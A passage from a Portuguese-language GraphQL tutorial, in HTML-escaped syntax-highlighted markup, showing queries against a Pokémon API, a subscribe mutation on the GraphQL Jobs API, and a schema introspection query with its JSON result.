      &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SCALAR&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos listar todos os 151 &lt;em&gt;Pokémons&lt;/em&gt; originais:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property-query&quot;&gt;pokemons&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;151&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A resposta será algo semelhante com o &lt;em&gt;JSON&lt;/em&gt; abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;pokemons&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Bulbasaur&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

      (...)

      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Mew&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o parâmetro &lt;code class=&quot;language-text&quot;&gt;first&lt;/code&gt;, estamos solicitando todos os &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; primeiros resultados. Essa &lt;em&gt;query&lt;/em&gt; é declarada na linha &lt;code class=&quot;language-text&quot;&gt;88&lt;/code&gt; do &lt;code class=&quot;language-text&quot;&gt;schema.graphql&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Query&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Query&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;pokemons&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Pokemon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;pokemon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pokemon&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;type Query&lt;/code&gt; estamos expressando quais serão as consultas que poderemos executar. Em &lt;code class=&quot;language-text&quot;&gt;pokemons&lt;/code&gt;, o atributo &lt;code class=&quot;language-text&quot;&gt;first&lt;/code&gt; é do tipo inteiro e obrigatório.
A sua resposta será uma lista de instâncias do tipo &lt;code class=&quot;language-text&quot;&gt;Pokemon&lt;/code&gt;. É possível também requisitar um &lt;em&gt;Pokémon&lt;/em&gt; através do seu &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;, como
explícito na instrução &lt;code class=&quot;language-text&quot;&gt;pokemon&lt;/code&gt;, dentro do bloco &lt;code class=&quot;language-text&quot;&gt;Query&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property-query&quot;&gt;pokemon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Pikachu&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;id&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;number&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;weight&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;maximum&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;minimum&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;height&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;maximum&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;minimum&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;classification&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;types&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;resistant&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;attacks&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token object&quot;&gt;fast&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;damage&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token object&quot;&gt;special&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;damage&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;weaknesses&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;fleeRate&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;maxCP&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;evolutions&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;id&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;number&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;evolutionRequirements&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;amount&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;maxHP&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;image&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E como resultado teremos todos os dados do nosso queridíssimo &lt;em&gt;Pikachu&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Mutações&lt;/h3&gt;
&lt;p&gt;Além de requisitar informação, podemos também manusear dados. Isso é realizado através do conceito de &lt;em&gt;Mutations&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para esse exemplo vamos utilizar a &lt;a href=&quot;https://graphql.jobs/docs/api/&quot; title=&quot;Veja o projeto rodando&quot;&gt;&lt;em&gt;GraphQL Jobs API&lt;/em&gt;&lt;/a&gt;, acessível
através &lt;a href=&quot;https://api.graphql.jobs/&quot; title=&quot;Veja o Playground do projeto&quot;&gt;dessa interface&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vamos dar &lt;code class=&quot;language-text&quot;&gt;subscribe&lt;/code&gt; na &lt;em&gt;API&lt;/em&gt;, para que assim possamos receber propostas de empregos que envolvam &lt;em&gt;GraphQL&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;mutation&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property-query property-mutation&quot;&gt;subscribe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;seu-nome&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;seu-email&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;id&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;email&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como resposta, temos um &lt;em&gt;JSON&lt;/em&gt; com &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;subscribe&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ckc3r7uqs004w0725u5sf0g1o&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;John Doe&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;myamazingemail@mail.com&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ok... Aqui pode ter ficado um pouco confuso. Vamos verificar quais &lt;em&gt;Mutations&lt;/em&gt; temos disponíveis:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token object&quot;&gt;__schema&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;mutationType&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token object&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
        &lt;span class=&quot;token object&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
          &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;kind&lt;/span&gt;
            &lt;span class=&quot;token object&quot;&gt;ofType&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;kind&lt;/span&gt;
              &lt;span class=&quot;token object&quot;&gt;inputFields&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;token object&quot;&gt;ofType&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;kind&lt;/span&gt;
          &lt;span class=&quot;token object&quot;&gt;ofType&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
            &lt;span class=&quot;token object&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
              &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;kind&lt;/span&gt;
                &lt;span class=&quot;token object&quot;&gt;ofType&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O resultado, de forma resumida, será o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;__schema&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;mutationType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;fields&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;subscribe&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SubscribeInput&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;INPUT_OBJECT&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;inputFields&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                          &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                            &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String&quot;&lt;/span&gt;
                          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                          &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                            &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String&quot;&lt;/span&gt;
                          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;User&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;fields&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
